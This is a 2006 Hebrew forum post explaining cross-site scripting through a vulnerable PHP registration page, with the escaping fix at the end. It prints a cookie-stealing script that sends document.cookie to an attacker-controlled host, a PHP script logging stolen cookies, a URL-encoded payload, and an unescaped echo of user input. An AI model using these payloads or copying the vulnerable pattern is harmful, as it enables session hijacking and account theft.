12-07-2006, 02:01
|
|
|
חבר מתאריך: 30.06.06
הודעות: 185
|
|
XSS זה למעשה במקור CSS, אבל כותבים XSS כדי למנוע בלבול בין זה לבין גליונות עיצוב מדורגים.
בכל מקרה, CSS זה ראשי תיבות של Cross Site Scripting
יהיה לי יותר קל לתת דוגמה מאשר להסביר, אז אני אתן דוגמה
בוא נגיד שיש לך דף הרשמה, שנקרא register.php
בין השאר, כתוב שם
קוד PHP:
<?php if (isset($_GET['error'])) echo "Error: ".$_GET['error']."<br/>\n"; ?>
המטרה של זה זה להציג שגיאה, למשל אם נרשמים אם משתמש שכבר קיים, זה יפנה ל register.php?error=this username is already in use
עכשיו, זה אמור לקבל מחרוזת, אבל במקרה שיכנסו ל
register.php?error=HTML CODE
זה יכניס את זה בתור הפלט שנכנס למשתמש.
למה זה טוב לתוקף פוטנציאלי? הוא יכול להריץ JS דרך האתר שלך,
לקוד JS שמורץ דרך האתר שלך יש גישה לעוגיות, ואפשר להשתמש בזה בשביל לגנוב עוגיות
ב JS יש את document.cookie שמכיל את כל העוגיות, בעזרת קוד JS של שורה אחת אפשר לשלוח את כל העוגיות לסקריפט חיצוני של התוקף שישמור את זה.. והוא אחר כך יוכל להשתמש בזה בשביל להתחבר בתור משתמש אחר.
דוגמה לקוד שיעשה דבר כזה -
קוד:
<script type="text/javascript">
document.location="http://host/path/to/file.php?c="+escape(document.cookie);
</script>
והקוד PHP שישמור את זה
קוד PHP:
<?php $fp=fopen('log.txt', (is_file('log.txt') ? 'a' : 'w')); fwrite($fp, $_GET['c']."\n"); ?>
ואם נעשה את זה דרך register.php, זה יהיה
קוד:
register.php?error=%3Cscript+type%3D%22text%2Fjava script%22%3Edocument.location%3D%22http%3A%2F%2Fho st%2Fpath%2Fto%2Ffile.php%3Fc%3D%22%2Bescape(docum ent.cookie)%3B%3C%2Fscript%3E
למעשה כל מי שיקבל את הלינק הזה, ישלח את העוגיות שלו לסקריפט של התוקף.
שימוש נוסף שיש ל XSS זה ל phisging
משתמשים בזה בשביל להראות בתוך הדף טופס שמבקש שם משתמש וסיסמא, וכל הפרטים למעשה נשלחים לסקריפט של התוקף.
מי שיכנס יחשוד פחות, בגלל שהוא יראה את הדומיין של האתר האמיתי
הפתרון לבעיה הזאת היא להפוך את מה שאמור להיות מספר למספר (בעזרת casting ל int או עם intval), ולמה שאמור להיות מחרוזת לעשות htmlspecialchars.
בע, אחרי שסיימתי לכתוב מצאתי מדריך
http://bv.spotquick.com/showtext.ph...okie%20Hack.txt
נערך לאחרונה ע"י eXeCuT3 בתאריך 12-07-2006 בשעה 02:05.
|